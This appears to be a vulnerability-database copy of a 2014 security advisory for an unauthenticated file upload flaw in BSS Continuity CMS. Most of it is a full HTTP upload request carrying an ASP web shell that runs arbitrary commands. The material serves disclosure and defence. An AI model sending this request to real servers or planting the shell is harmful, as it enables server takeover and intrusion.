BSS Continuity CMS 4.2.22640.0 Code Execution

🗓️ 21 May 2014 00:00:00Reported by Jerzy KramarzType

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Remote Code Execution Via Unauthenticated File Upload in BSS Continuity CMS CVE-2014-344

Reporter	Title	Published	Views	Family All 8
CVE	CVE-2014-3448	9 Jan 202013:25	–	cve
Cvelist	CVE-2014-3448	9 Jan 202013:25	–	cvelist
EUVD	EUVD-2014-3460	7 Oct 202500:30	–	euvd
NVD	CVE-2014-3448	9 Jan 202014:15	–	nvd
Prion	Remote code execution	9 Jan 202014:15	–	prion
RedhatCVE	CVE-2014-3448	22 May 202506:23	–	redhatcve
securityvulns	CVE-2014-3448 - Remote Code Execution Via Unauthenticated File Upload in BSS Continuity CMS	14 Jun 201400:00	–	securityvulns
securityvulns	Web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)	14 Jun 201400:00	–	securityvulns

`Vulnerability title: Remote Code Execution Via Unauthenticated File  
Upload in BSS Continuity CMS  
CVE: CVE-2014-3448  
Vendor: BSS  
Product: Continuity CMS  
Affected version: 4.2.22640.0  
Fixed version: N/A  
Reported by: Jerzy Kramarz  
  
Details:  
  
The ASPX executable which is responsible for handling file upload functionality allows arbitrary files to be uploaded to any directory specified by an attacker as the file upload function does not does not verify file type or origin when processing the request.  
  
The following request would trigger the vulnerability:  
  
POST http://<target>:<port>/wcm/system/pages/uploadfile.aspx?dir=/upload HTTP/1.1  
Host: <target>  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Referer: http://<target>/wcm/system/pages/uploadfile.aspx  
Cookie: WeAreAllDoomed=True;  
Content-Type: multipart/form-data; boundary=---------------------------256672629917035  
Content-Length: 1279  
  
-----------------------------256672629917035  
Content-Disposition: form-data; name="__VIEWSTATE"   
  
  
-----------------------------256672629917035  
Content-Disposition: form-data; name="uploadFile"; filename="shell.asp"   
Content-Type: application/octet-stream  
  
<%  
if Request.Form("submit") = "Submit" then  
Dim wshell, intReturn  
set wshell = server.createobject("wscript.shell")  
cmd = Request.Form("cmd")  
intReturn = wshell.run(cmd, 0, True)  
Response.Write( intReturn )  
set wshell = nothing  
end if  
  
%>  
<html>  
<head><title></title></head>  
<body>  
<form action=shell.asp" method="POST">  
Command: <Input type="text" name="cmd"><br>  
<input type="submit">  
</form>  
</body>  
</html>  
-----------------------------256672629917035  
Content-Disposition: form-data; name="Upload"   
  
Upload  
-----------------------------256672629917035  
Content-Disposition: form-data; name="result"   
  
-----------------------------256672629917035  
Content-Disposition: form-data; name="tempname"   
  
-----------------------------256672629917035--  
  
  
Further details at:  
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-3448/  
  
  
Copyright:  
Copyright (c) Portcullis Computer Security Limited 2014, All rights  
reserved worldwide. Permission is hereby granted for the electronic  
redistribution of this information. It is not to be edited or altered in  
any way without the express written consent of Portcullis Computer  
Security Limited.  
  
Disclaimer:  
The information herein contained may change without notice. Use of this  
information constitutes acceptance for use in an AS IS condition. There  
are NO warranties, implied or otherwise, with regard to this information  
or its use. Any use of this information is at the user's risk. In no  
event shall the author/distributor (Portcullis Computer Security  
Limited) be held liable for any damages whatsoever arising out of or in  
connection with the use or spread of this information.  
  
  
`

21 May 2014 00:00Current

EPSS0.04136